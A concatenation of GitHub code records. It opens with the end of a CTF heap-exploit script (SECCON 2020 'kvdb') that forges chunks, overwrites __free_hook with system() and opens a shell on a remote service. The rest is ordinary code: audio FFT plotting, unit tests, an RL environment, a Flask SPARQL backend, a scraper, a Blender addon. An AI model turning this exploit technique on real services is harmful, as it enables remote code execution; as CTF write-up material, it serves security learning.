0x3a0, \"Q\"*0x10) # remap # inuse 0x3db # cap 0x400 \n _del(\"Q\")\n _put(\"R\", 0x40-2, \"R\"*0x10) # shrink # inuse 0x8b # cap 0x200\n _del(\"R\")\n\n\n # forge chunks\n fake = entry(\".\", 0x800, heapbase, heapbase, False).gen()\n pay = b\"\"\n pay += b\"/bin/sh\\x00\"\n pay += p8(0) * 0x200\n pay += (p64(0xdeadbeef) + fake) * 0x9\n pay += p64(0x411)\n pay += p64(libcbase + 0x1eeb28 - 0x60) # free_hook - 0x60\n _put(\"V\", len(pay), pay)\n\n #################################\n # now, 0x410 [ 2]: 0x5617d6890fa0 —▸ 0x7f97123e6b28 (__free_hook) ◂— 0x0\n # inuse 0x8b # cap 0x200\n _put(\"R\", 0x300-2, \"R\"*0x10)\n _del(\"R\")\n \n # 0x410 [ 1]: 0x7fd383c83b28 (__free_hook) ◂— 0x0\n pay = b\"\"\n pay += p8(0)*(8*8-1-0x10)\n pay += p64(libcbase + 0x55410) # system\n pay += p8(0) * (0x310-2-len(pay))\n _put(\"R\", 0x310-2, pay) # free_hook -> system\n _del(\"R\")\n\n ####################################\n\n # the pool shoud start with \"/bin/sh\\x00\"\n _put(\"(\", 0x100, \"hoge\")\n \n\n\n## main ##############################################\n\nif __name__ == \"__main__\":\n global c\n \n if len(sys.argv)>1:\n if sys.argv[1][0]==\"d\":\n cmd = \"\"\"\n set follow-fork-mode parent\n \"\"\"\n c = gdb.debug(FILENAME,cmd)\n elif sys.argv[1][0]==\"r\":\n c = remote(rhp1[\"host\"],rhp1[\"port\"])\n elif sys.argv[1][0]==\"v\":\n c = remote(rhp3[\"host\"],rhp3[\"port\"])\n else:\n c = remote(rhp2['host'],rhp2['port'])\n exploit()\n c.interactive()\n","repo_name":"smallkirby/pwn-writeups","sub_path":"seccon2020/kvdb/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":8198,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"75"} +{"seq_id":"409710395","text":"import pyaudio\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport time\n\ndef read_audio(RECORD_SECONDS, RATE):\n \"\"\"\n Reads audio from microphone and stores input in a list\n Output: frames (list)\n \"\"\"\n\n # sets standard parameters for what normally would go into a WAV file\n # seconds to record and record rate are already set by user\n CHUNKSIZE = 1024 # fixed chunk size\n FORMAT = pyaudio.paInt16\n CHANNELS = 1\n\n # initialize portaudio\n p = pyaudio.PyAudio()\n stream = p.open(format=pyaudio.paInt16, \n channels=CHANNELS, \n rate=RATE, \n input=True, \n frames_per_buffer=CHUNKSIZE)\n\n frames = []\n\n # read audio from microphone, turn it into a string, store it in a list of frames\n for i in range(0, int(RATE / CHUNKSIZE * RECORD_SECONDS)):\n data = stream.read(CHUNKSIZE)\n frames.append(np.divide(np.fromstring(data, dtype=np.int16), 1024.0))\n\n # close stream\n stream.stop_stream()\n stream.close()\n p.terminate()\n \n return frames\n\ndef spectrum_plot():\n \"\"\"\n Uses read_audio to take in microphone input, runs fft, generates power vs. frequency graphs\n in real time.\n \"\"\"\n \n # initialize matplotlib graphs, ion allows for interactive graphing\n plt.ion()\n plt.show()\n\n RECORD_SECONDS = 0.03\n RATE = 44100\n \n for i in range(1000):\n \n # clear plot, set axis limits\n plt.clf()\n plt.ylim((0, 10000))\n plt.xlim((0, 5000))\n \n numpydata = np.hstack(read_audio(RECORD_SECONDS, RATE))\n\n n = numpydata.size\n\n spectrum = np.fft.fft(numpydata)\n freq = np.fft.fftfreq(n, 1./RATE)\n\n # plots data, x axis is frequency (hz), y axis is power\n plt.plot(freq, np.absolute(spectrum))\n plt.xlabel(\"Frequency (Hz)\")\n plt.ylabel(\"Amplitude\")\n plt.draw()\n i += 1\n # time.sleep(0.05)\n \n plt.close()\n\nif __name__ == \"__main__\":\n spectrum_plot()","repo_name":"williamalu/overtones","sub_path":"overtones.py","file_name":"overtones.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28472573182","text":"import unittest\n\nimport tinytim.edit as edit_functions\n\n\nclass TestEditRowItemsInplace(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n null = edit_functions.edit_row_items_inplace(data, 0, {'x': 11, 'y': 66})\n self.assertIsNone(null)\n self.assertDictEqual(data, {'x': [11, 2, 3], 'y': [66, 7, 8]})\n\n\nclass TestEditRowValuesInplace(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n null = edit_functions.edit_row_values_inplace(data, 1, (22, 77))\n self.assertIsNone(null)\n self.assertDictEqual(data, {'x': [1, 22, 3], 'y': [6, 77, 8]})\n\n\nclass TestEditColumnInplace(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n null = edit_functions.edit_column_inplace(data, 'x', [11, 22, 33])\n self.assertIsNone(null)\n self.assertDictEqual(data, {'x': [11, 22, 33], 'y': [6, 7, 8]})\n\n\nclass TestDropRowInplace(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n null = edit_functions.drop_row_inplace(data, 1)\n self.assertIsNone(null)\n self.assertDictEqual(data, {'x': [1, 3], 'y': [6, 8]})\n\n\nclass TestDropLabelInplace(unittest.TestCase):\n def test_not_none(self):\n labels = [1, 2, 3, 4, 5]\n null = edit_functions.drop_label_inplace(labels, 1)\n self.assertIsNone(null)\n self.assertListEqual(labels, [1, 3, 4, 5])\n\n def test_is_none(self):\n labels = None\n null = edit_functions.drop_label_inplace(labels, 1)\n self.assertIsNone(null)\n self.assertIsNone(labels)\n\n\nclass TestDropColumnInplace(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n null = edit_functions.drop_column_inplace(data, 'y')\n self.assertIsNone(null)\n self.assertDictEqual(data, {'x': [1, 2, 3]})\n\n\nclass TestEditValueInplace(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n null = edit_functions.edit_value_inplace(data, 'x', 0, 11)\n self.assertIsNone(null)\n self.assertDictEqual(data, {'x': [11, 2, 3], 'y': [6, 7, 8]})\n\n\nclass TestReplaceColumnNames(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n results = edit_functions.replace_column_names(data, ('xx', 'yy'))\n self.assertDictEqual(results, {'xx': [1, 2, 3], 'yy': [6, 7, 8]})\n self.assertDictEqual(data, {'x': [1, 2, 3], 'y': [6, 7, 8]})\n\n\nclass TestEditRowItems(unittest.TestCase):\n def test_all_keys(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n results = edit_functions.edit_row_items(data, 2, {'x': 33, 'y': 88})\n self.assertDictEqual(results, {'x': [1, 2, 33], 'y': [6, 7, 88]})\n self.assertDictEqual(data, {'x': [1, 2, 3], 'y': [6, 7, 8]})\n\n def test_one_key(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n results = edit_functions.edit_row_items(data, 0, {'x': 55})\n self.assertDictEqual(results, {'x': [55, 2, 3], 'y': [6, 7, 8]})\n self.assertDictEqual(data, {'x': [1, 2, 3], 'y': [6, 7, 8]})\n\n\nclass TestEditRowValues(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n results = edit_functions.edit_row_values(data, 1, (22, 77))\n self.assertDictEqual(results, {'x': [1, 22, 3], 'y': [6, 77, 8]})\n self.assertDictEqual(data, {'x': [1, 2, 3], 'y': [6, 7, 8]})\n\n\nclass TestEditColumn(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n results = edit_functions.edit_column(data, 'x', [4, 5, 6])\n self.assertDictEqual(results, {'x': [4, 5, 6], 'y': [6, 7, 8]})\n self.assertDictEqual(data, {'x': [1, 2, 3], 'y': [6, 7, 8]})\n\n\nclass TestEditValue(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n results = edit_functions.edit_value(data, 'y', 2, 88)\n self.assertDictEqual(results, {'x': [1, 2, 3], 'y': [6, 7, 88]})\n self.assertDictEqual(data, {'x': [1, 2, 3], 'y': [6, 7, 8]})\n\n\nclass TestDropRow(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n results = edit_functions.drop_row(data, 0)\n self.assertDictEqual(results, {'x': [2, 3], 'y': [7, 8]})\n self.assertDictEqual(data, {'x': [1, 2, 3], 'y': [6, 7, 8]})\n\n\nclass TestDropLabel(unittest.TestCase):\n def test_not_none(self):\n labels = [1, 2, 3, 4]\n results = edit_functions.drop_label(labels, 1)\n self.assertEqual(results, [1, 3, 4])\n self.assertEqual(labels, [1, 2, 3, 4])\n\n def test_is_none(self):\n labels = None\n results = edit_functions.drop_label(labels, 1)\n self.assertIsNone(results)\n self.assertIsNone(labels)\n\n\nclass TestDropColumn(unittest.TestCase):\n def test_basic(self):\n data = {'x': [1, 2, 3], 'y': [6, 7, 8]}\n results = edit_functions.drop_column(data, 'y')\n self.assertDictEqual(results, {'x': [1, 2, 3]})\n self.assertDictEqual(data, {'x': [1, 2, 3], 'y': [6, 7, 8]})\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"eddiethedean/tinytim","sub_path":"tests/test_edit.py","file_name":"test_edit.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4074472238","text":"import os, sys, queue, threading\nimport numpy as np\nfrom gym import Env, spaces\nfrom collections import OrderedDict\nfrom http.server import HTTPServer\nfrom gym_roblox.envs.Server import MakeHandlerClassFromArgv\n\nfrom stable_baselines3.common.vec_env.base_vec_env import (\n VecEnv,\n VecEnvStepReturn,\n VecEnvWrapper,\n)\nimport gym\nfrom collections import OrderedDict\nfrom typing import Any, Dict, List, Tuple\n\nfrom copy import deepcopy\nfrom typing import Any, Callable, List, Optional, Sequence, Type, Union\nfrom stable_baselines3.common.vec_env.base_vec_env import (\n VecEnv,\n VecEnvIndices,\n VecEnvObs,\n VecEnvStepReturn,\n)\nfrom stable_baselines3.common.vec_env.util import (\n copy_obs_dict,\n dict_to_obs,\n obs_space_info,\n)\n\n\nimport zmq\nfrom tinyrpc import RPCClient\nfrom tinyrpc.protocols.jsonrpc import JSONRPCProtocol\nfrom gym_roblox.envs.TcpTransport import TcpTransport\n\n\nclass RobloxVecBaseEnv(VecEnv):\n \"\"\"\n An abstract asynchronous, vectorized environment.\n Running via json-rpc 2.0 with Roblox Studio\n\n :param num_envs: the number of environments\n :param num_envs: the number of environments\n :param observation_space: the observation space\n :param action_space: the action space\n \"\"\"\n\n metadata = {\"render.modes\": [\"human\", \"rgb_array\"]}\n\n def __init__(self, server_port):\n\n ctx = zmq.Context()\n self.rpc_client = RPCClient(JSONRPCProtocol(), TcpTransport(server_port))\n self.rpc_client_proxy = self.rpc_client.get_proxy()\n\n self.initialize()\n VecEnv.__init__(self, self.num_envs, self.observation_space, self.action_space)\n obs_space = self.observation_space\n self.keys, shapes, dtypes = obs_space_info(obs_space)\n self.buf_obs = OrderedDict(\n [\n (k, np.zeros((self.num_envs,) + tuple(shapes[k]), dtype=dtypes[k]))\n for k in self.keys\n ]\n )\n\n self.buf_dones = np.zeros((self.num_envs,), dtype=bool)\n self.buf_rews = np.zeros((self.num_envs,), dtype=np.float32)\n\n self.buf_infos = [OrderedDict([]) for _ in range(self.num_envs)]\n self.actions = None\n\n def reset(self) -> VecEnvObs:\n \"\"\"\n Reset all the environments and return an array of\n observations, or a tuple of observation arrays.\n\n If step_async is still doing work, that work will\n be cancelled and step_wait() should not be called\n until step_async() is invoked again.\n\n :return: observation\n \"\"\"\n self.data = self.rpc_client_proxy.reset()\n\n self.states = np.asarray(self.data[\"observations\"])\n for env_idx in range(self.num_envs):\n self._save_obs(env_idx, self.states[env_idx])\n self.buf_dones[env_idx] = False\n\n return self._obs_from_buf()\n\n def step_async(self, actions: np.ndarray) -> None:\n self.step_data = self.rpc_client_proxy.step(actions.tolist())\n\n def step_wait(self) -> VecEnvStepReturn:\n \"\"\"\n Wait for the step taken with step_async().\n\n :return: observation, reward, done, information\n\n When using vectorized environments, the environments are automatically reset at the end of each episode.\n Thus, the observation returned for the i-th environment when done[i] is true will in fact be the first observation\n of the next episode, not the last observation of the episode that has just terminated. You can access the “real”\n final observation of the terminated episode—that is, the one that accompanied the done event provided by the underlying\n environment—using the terminal_observation keys in the info dicts returned by the vecenv.\n \"\"\"\n\n\n self.buf_rews = np.asarray(self.step_data[\"rewards\"])\n self.buf_dones = np.asarray(self.step_data[\"is_done\"])\n self.buf_infos = np.asarray(self.step_data[\"info\"])\n\n\n for env_idx in range(self.num_envs):\n obs = np.asarray(self.step_data[\"observations\"][env_idx])\n self._save_obs(env_idx, obs)\n\n # print(self.buf_infos)\n return (\n self._obs_from_buf(),\n np.copy(self.buf_rews),\n np.copy(self.buf_dones),\n deepcopy(self.buf_infos),\n )\n\n def close(self) -> None:\n \"\"\"\n Clean up the environment's resources.\n \"\"\"\n return self.rpc_client_proxy.close()\n\n def _save_obs(self, env_idx: int, obs: VecEnvObs) -> None:\n for key in self.keys:\n if key is None:\n self.buf_obs[key][env_idx] = obs\n else:\n self.buf_obs[key][env_idx] = obs[key]\n\n def _obs_from_buf(self) -> VecEnvObs:\n return dict_to_obs(self.observation_space, copy_obs_dict(self.buf_obs))\n\n def get_attr(self, attr_name: str, indices: VecEnvIndices = None) -> List[Any]:\n \"\"\"Return attribute from vectorized environment (see base class).\"\"\"\n target_envs = self._get_target_envs(indices)\n return [getattr(env_i, attr_name) for env_i in target_envs]\n\n def set_attr(\n self, attr_name: str, value: Any, indices: VecEnvIndices = None\n ) -> None:\n \"\"\"Set attribute inside vectorized environments (see base class).\"\"\"\n target_envs = self._get_target_envs(indices)\n for env_i in target_envs:\n setattr(env_i, attr_name, value)\n\n def env_method(\n self,\n method_name: str,\n *method_args,\n indices: VecEnvIndices = None,\n **method_kwargs\n ) -> List[Any]:\n \"\"\"Call instance methods of vectorized environments.\"\"\"\n target_envs = self._get_target_envs(indices)\n return [\n getattr(env_i, method_name)(*method_args, **method_kwargs)\n for env_i in target_envs\n ]\n\n def env_is_wrapped(self, wrapper_class: Type[gym.Wrapper], indices: VecEnvIndices = None) -> List[bool]:\n \"\"\"\n Check if environments are wrapped with a given wrapper.\n \"\"\"\n return [False for i in indices] if indices else [False]\n\n def seed(self, seed: Optional[int] = None) -> List[Union[None, int]]:\n \"\"\"\n Sets the random seeds for all environments, based on a given seed.\n Each individual environment will still get its own seed, by incrementing the given seed.\n\n :param seed: The random seed. May be None for completely random seeding.\n :return: Returns a list containing the seeds for each individual env.\n Note that all list elements may be None, if the env does not return anything when being seeded.\n \"\"\"\n return self.rpc_client_proxy.seed(seed)\n","repo_name":"Milad-Rakhsha/Gym-Roblox","sub_path":"gym_roblox/envs/RobloxVecBase.py","file_name":"RobloxVecBase.py","file_ext":"py","file_size_in_byte":6646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20669058027","text":"from flask import Flask\nimport load_data\nimport graph\nfrom flask import request\nfrom flask_cors import CORS\nfrom flask import send_file, send_from_directory, safe_join, abort\n\napp = Flask(__name__)\nCORS(app)\n\napp.config[\"CLIENT_IMAGES\"] = \"/home/ec2-user/project/semantic_web_mining_on_mythological_ontology/backend\"\n# app.config[\"CLIENT_IMAGES\"] = \"/var/www/html\"\n\n\n\n\n@app.route('/')\ndef hello_world():\n\tprint(request.get_json())\n\t# response.headers['Access-Control-Allow-Origin'] = '*'\n\t# response.data= {'head': {'vars': ['object1', 'object2', 'object3']}, 'results': {'bindings': [{'object1': {'type': 'uri', 'value': 'http://www.semanticweb.org/swarnalatha/ontologies/2020/10/untitled-ontology-28#Cronus'}, 'object2': {'type': 'uri', 'value': 'http://www.semanticweb.org/swarnalatha/ontologies/2020/10/untitled-ontology-28#Rhea'}}]}}\n\treturn \"something\"\n\n@app.route('/dropdown/')\ndef show_dropdown_list():\n\tmythology = request.args.get('mythology')\n\tdata = None\n\tresponse = {'result': []}\n\tif mythology == 'Indian' or mythology == 'Greek':\n\t\tresult = []\n\t\tdata = request.args.get(\"character0\")\n\t\tprint(data)\n\t\tif data:\n\t\t\tquery = load_data.form_query(data)\n\t\t\tdata = load_data.load_data(query, \"http://3.101.82.158:3030/SER531\")\n\t\t\tresult = load_data.get_predicates(data)\n\t\tif result:\n\t\t\tresponse['result'] = result\n\n\treturn response\n\n@app.route('/nofilters/')\ndef nofilter():\n\t# response = {'result': []}\n\tmythology = request.args.get('mythology')\n\tresult = {}\n\tcharacter = request.args.get(\"character0\")\n\tif mythology == 'Indian' or mythology == 'Greek':\n\t\tif character:\n\t\t\tquery = load_data.form_query4(character)\n\t\t\tprint(query)\n\t\t\tdata = load_data.load_data(query, \"http://3.101.82.158:3030/SER531\")\n\t\t\tprint(data)\n\t\t\tresult = load_data.clean_data(data)\n\t\t# if result:\n\t\t# \tresponse = result\n\telif mythology == \"Noted Fictional Characters\":\n\t\tif character:\n\t\t\tquery = load_data.form_query5(character)\n\t\t\tdata = load_data.load_data(query, \"http://dbpedia.org/sparql\")\n\t\t\tresult = data\n\n\telif mythology == \"Chinese\":\n\t\tif character:\n\t\t\tquery = load_data.form_query4(character)\n\t\t\tprint(query)\n\t\t\tdata = load_data.load_data(query, \"http://54.183.203.151:3030/Chinese\")\n\t\t\tresult = load_data.clean_data(data)\n\treturn result\n\n\n@app.route('/getgraph/')\ndef process():\n character = request.args.get('character0')\n \n query = load_data.form_query4(character)\n data = load_data.load_data(query, \"http://3.101.82.158:3030/SER531\")\n result = load_data.clean_data(data)\n print(result)\n graph.draw_graph(character, result)\n # return send_from_directory(app.config['CLIENT_IMAGES'],\"unix.gv.pdf\", as_attachment=True)\n return send_file('unix.gv.pdf', attachment_filename='something.pdf')\n\n@app.route('/singlecharacter/')\ndef show_result():\n\tmythology = request.args.get('mythology')\n\tdata = None\n\tif mythology == 'Indian' or mythology == 'Greek':\n\t\tcharacter = request.args.get('character0')\n\t\tfilters = []\n\t\tvars = []\n\t\tfilters.append(request.args.get('filter0'))\n\t\tfilters.append(request.args.get('filter1'))\n\t\tvars.append(request.args.get('var1'))\n\t\tvars.append(request.args.get('var2'))\n\t\tvars.append(request.args.get('var3'))\n\t\tquery = load_data.form_query2(character, filters, vars)\n\t\tdata = load_data.load_data(query, \"http://3.101.82.158:3030/SER531\")\n\t\tdata = load_data.clean_data(data)\n\telif mythology == \"Noted Fictional Characters\":\n\t\tcharacter1 = request.args.get('character')\n\t\tquery = load_data.form_query4(character1)\n\t\tdata = load_data.load_data(query, \"http://dbpedia.org/sparql\")\n\treturn data\n\n# @app.route('/multicharacter/')\n# def multicharacter():\n# \tcharacter1 = request.args.get('character1')\n# \tcharacter2 = request.args.get('character2')\n# \t# filters = []\n# \t# vars = []\n# \tfilter = request.args.get('filter')\n# \tvars = request.args.get('vars')\n# \t# filters.append(request.args.get('filter2'))\n# \t# vars.append(request.args.get('var1'))\n# \t# vars.append(request.args.get('var2'))\n# \t# vars.append(request.args.get('var3'))\n# \tquery = load_data.form_query3(character1, character2, filter, vars)\n# \tdata = load_data.load_data(query)\n# \tdata = load_data.clean_data(data)\n# \treturn data\n\n\n# @app.route('/dbpedia/')\n# def singlecharacter3():\n# \tcharacter1 = request.args.get('character')\n# \tquery = load_data.form_query4(character1)\n# \tprint(query)\n# \tdata = load_data.load_data(query)\n# \t# data = load_data.clean_data(data)\n# \treturn data\n","repo_name":"Swar-jain/semantic_web_mining_on_mythological_ontology","sub_path":"backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28831021136","text":"import csv\nimport glob\n\nfrom scrapy import Spider, Request\nfrom collections import OrderedDict\nfrom datetime import datetime\nfrom .base import BaseSpider\n\n\nclass MacgSpider(BaseSpider):\n name = 'macg'\n start_urls = ['https://www.macg.co/actu']\n\n # start_urls = ['https://www.macg.co/']\n\n def parse(self, response, **kwargs):\n article_selector = response.css('.actu-results section.section.mbs.mbm')\n sidebar_url = response.css('.sidebar-content a::attr(href)').getall()\n print('all Sidebar urls :', '\\n'.join(sidebar_url))\n for article in article_selector:\n item = OrderedDict()\n published_date = article.css('.node-time::attr(datetime)').get('')\n date = datetime.now()\n today_date = date.strftime('%Y-%m-%d').lower().strip()\n\n if published_date == today_date:\n item['Title'] = article.css('.node-title ::text').get('')\n item['Summary'] = ''\n item['Image URL'] = article.css('[loading=\"lazy\"]::attr(src)').get('')\n item['Description HTML'] = article.get()[:3600]\n item['Published At'] = article.css('.node-time::attr(datetime)').get('')\n item['Article URL'] = response.url\n self.current_scraped_items.append(item)\n print(item)\n\n for article_url in sidebar_url:\n if 'macg.co' in article_url:\n yield Request(url=article_url, callback=self.parse_article)\n\n def parse_article(self, response):\n item = OrderedDict()\n published_date = response.css('.node-time::attr(datetime)').get('')\n\n if published_date == self.get_today_date():\n item['Title'] = response.css('.node-title ::text').get('').strip()\n item['Summary'] = ''\n item['Image URL'] = response.css('[loading=\"lazy\"]::attr(src)').get('')\n item['Description HTML'] = response.css('#node-content .even').getall()[:32767]\n item['Published At'] = published_date\n item['Article URL'] = response.url\n\n self.current_scraped_items.append(item)\n\n def get_published_date(self, response):\n published_date = response.css('.published-date ::text').get('').replace('Publié le', '').lower().strip()\n # Replace the French month name with its English equivalent\n month_translation = {\n 'janvier': 'January', 'février': 'February', 'mars': 'March', 'avril': 'April',\n 'mai': 'May', 'juin': 'June', 'juillet': 'July', 'août': 'August',\n 'septembre': 'September', 'octobre': 'October', 'novembre': 'November', 'décembre': 'December'\n }\n for french_month, english_month in month_translation.items():\n published_date = published_date.replace(french_month, english_month)\n\n publish_date = datetime.strptime(published_date, '%d %B %Y')\n # Format the datetime object as 'MM/dd/yyyy'\n published_date = publish_date.strftime('%m/%d/%Y')\n\n return published_date\n","repo_name":"ahmednagra/Scrapping-Projects","sub_path":"Oct 23/Articles Scraper/Articles/spiders/macg.py","file_name":"macg.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1405726080","text":"import pandas as pd\ndf = pd.read_csv(\"/content/AdultIncome.csv\")\ndf.isnull().sum()\ndf = pd.get_dummies(df, drop_first=True)\nx = df.iloc[:,:-1]\ny = df.iloc[:,-1]\nfrom sklearn.model_selection import train_test_split\nx_train,x_test,y_train,y_test = train_test_split(x,y,test_size = 0.2, random_state = 0)\nfrom sklearn.tree import DecisionTreeClassifier\ndtc = DecisionTreeClassifier(random_state= 0)\ndtc.fit(x_train, y_train)\ny_pred = dtc.predict(x_test)\nfrom sklearn.metrics import confusion_matrix, accuracy_score\ncm = confusion_matrix(y_test, y_pred)\nscore = dtc.score(x_test, y_test)\nfrom sklearn.ensemble import RandomForestClassifier\nrfc = RandomForestClassifier(random_state=0)\nrfc.fit(x_train, y_train)\ny_pred = rfc.predict(x_test)\ncm2 = confusion_matrix(y_test, y_pred)\nscore2 = rfc.score(x_test, y_test)\n","repo_name":"AyushSinha29/Adult-Income-Random-Forest","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"7556768772","text":"import pkgutil\n\nimport sys\n\nbl_info = {\n 'name': 'XRay Engine Tools',\n 'author': 'Vakhurin Sergey (igel), Pavel_Blend',\n 'version': (0, 6, 0),\n 'blender': (2, 80, 0),\n 'category': 'Import-Export',\n 'location': 'File > Import/Export',\n 'description': 'Import/Export X-Ray objects',\n 'wiki_url': 'https://github.com/PavelBlend/blender-xray',\n 'tracker_url': 'https://github.com/PavelBlend/blender-xray/issues',\n 'warning': 'Under construction!'\n}\n\nimport bpy\nfrom . import xray_inject, plugin\n\ninvalid_types = None\ntry:\n # TODO possibly it will be removed in release version of Blender 2.8\n import bpy_types as invalid_types\nexcept:\n print(\"Replace bpy_types.<ClassName> with bpy.types.<ClassName>\")\n\n\ndef find_bases(cls):\n res = set()\n res = res.union(set(cls.__bases__))\n\n for b in cls.__bases__:\n res = res.union(find_bases(b))\n\n return res\n\n\ndef get_blender_classes(modules):\n \"\"\"\n Usage:\n import sys\n from .lib import py_utils, pathes\n module = sys.modules[__name__]\n reload(py_utils)\n classes = py_utils.get_bl_classes(module)\n lib.info(classes)\n \"\"\"\n prefs = set()\n menus = set()\n operators = set()\n panels = set()\n ui_lists = set()\n prop_groups = set()\n\n for mod in modules:\n m_dict = mod.__dict__\n classes = [m_dict[c] for c in m_dict if isinstance(m_dict[c], type)]\n\n for cls in classes:\n for type_name, dest_set in [(\"AddonPreferences\", prefs), (\"PropertyGroup\", prop_groups),\n (\"Operator\", operators), (\"Menu\", menus), (\"Panel\", panels),\n (\"UIList\", ui_lists)]:\n ctypes = []\n if hasattr(bpy.types, type_name):\n ctype = getattr(bpy.types, type_name)\n if ctype:\n ctypes.append(ctype)\n\n if invalid_types and hasattr(invalid_types, type_name):\n ctype = getattr(invalid_types, type_name)\n if ctype:\n ctypes.append(ctype)\n\n if ctypes:\n bases = find_bases(cls)\n if bases.intersection(ctypes):\n dest_set.add(cls)\n\n return list(prefs), list(prop_groups), list(operators) + list(ui_lists) + list(menus) + list(panels)\n\n\ndef register_modules(modules):\n prefs, prop_groups, other = get_blender_classes(modules)\n for classes in prefs, prop_groups, other:\n classes.sort(key=lambda x: getattr(x, \"reg_order\") if hasattr(x, \"reg_order\") else 1000)\n for cls in classes:\n # print(\"-------------------------------------------\")\n # print(\"register class: \", cls.__name__)\n bpy.utils.register_class(cls)\n # print(\"++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\n\ndef unregister_modules(modules):\n prefs, prop_groups, other = get_blender_classes(modules)\n for classes in other, prop_groups, prefs:\n classes.sort(reverse=True, key=lambda x: getattr(x, \"reg_order\") if hasattr(x, \"reg_order\") else 1000)\n for cls in classes:\n bpy.utils.unregister_class(cls)\n\n\ndef get_submodules(package=sys.modules[__name__]):\n modules = set()\n\n prefix = package.__name__ + \".\"\n\n modules.add(package)\n\n for importer, modname, ispkg in pkgutil.iter_modules(package.__path__, prefix):\n # cprint(\"Found submodule %s (is a package: %s)\" % (modname, ispkg) )\n module = __import__(modname, fromlist=\"dummy\")\n modules.add(module)\n\n if ispkg:\n submods = get_submodules(module)\n\n for m in submods:\n modules.add(m)\n\n return modules\n\n\ndef register():\n modules = get_submodules()\n register_modules(modules)\n\n for clas in xray_inject.__CLASSES__:\n # print(\"register MAIN PROP class: \", clas)\n b_type = clas.b_type\n\n if invalid_types:\n tname = clas.b_type.__name__.replace(\"bpy.types\", \"\")\n if hasattr(invalid_types, tname):\n b_type = getattr(invalid_types, tname)\n\n # print(b_type)\n\n b_type.xray = bpy.props.PointerProperty(type=clas)\n\n # plugin register\n plugin.append_menu_func()\n plugin.overlay_view_3d.__handle = bpy.types.SpaceView3D.draw_handler_add(\n plugin.overlay_view_3d, (),\n 'WINDOW', 'POST_VIEW'\n )\n bpy.app.handlers.load_post.append(plugin.load_post)\n bpy.app.handlers.depsgraph_update_post.append(plugin.scene_update_post)\n\n\ndef unregister():\n for clas in reversed(xray_inject.__CLASSES__):\n del clas.b_type.xray\n\n # plugin unregister\n bpy.app.handlers.depsgraph_update_post.remove(plugin.scene_update_post)\n bpy.app.handlers.load_post.remove(plugin.load_post)\n\n bpy.types.SpaceView3D.draw_handler_remove(plugin.overlay_view_3d.__handle, 'WINDOW')\n bpy.types.TOPBAR_MT_file_export.remove(plugin.menu_func_export_ogf)\n bpy.types.TOPBAR_MT_file_export.remove(plugin.menu_func_export)\n bpy.types.TOPBAR_MT_file_import.remove(plugin.menu_func_import)\n bpy.types.TOPBAR_MT_file_import.remove(plugin.menu_func_xray_import)\n bpy.types.TOPBAR_MT_file_export.remove(plugin.menu_func_xray_export)\n\n # all classes unregister\n modules = get_submodules()\n unregister_modules(modules)\n","repo_name":"BlenderCN-Org/blender-xray","sub_path":"io_scene_xray/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39645108894","text":"import pandas as pd\r\nimport numpy as np\r\nimport json\r\nfrom EnsembleClassifier import EnsembleClassifier\r\n\r\n\r\ndevfile_location = 'SQuAD/SQuAD-data/dev-v2.0.json'\r\nB_opfile_location = './SQuAD/SQuAD-explorer/models/v2.0/BERT (single model) (Google AI Language).json'\r\nE_opfile_location = './SQuAD/SQuAD-explorer/models/v2.0/BiDAF + Self Attention + ELMo (single model) (Allen Institute for Artificial Intelligence [modified by Stanford]).json'\r\nN_opfile_location = './SQuAD/SQuAD-explorer/models/v2.0/nlnet (single model) (Microsoft Research Asia).json'\r\n\r\n\r\ndef fetchDevData():\r\n\twith open(B_opfile_location) as json_data:\r\n\t return json.load(json_data)\r\n\r\n\r\ndef fetchModelsOP():\r\n\twith open(B_opfile_location) as json_data:\r\n\t B_op = json.load(json_data)\r\n\twith open(E_opfile_location) as json_data:\r\n\t E_op = json.load(json_data)\r\n\twith open(N_opfile_location) as json_data:\r\n\t N_op = json.load(json_data)\r\n\treturn B_op, E_op, N_op\r\n\r\n\r\ndef writeJSON(data, fileName):\r\n\twith 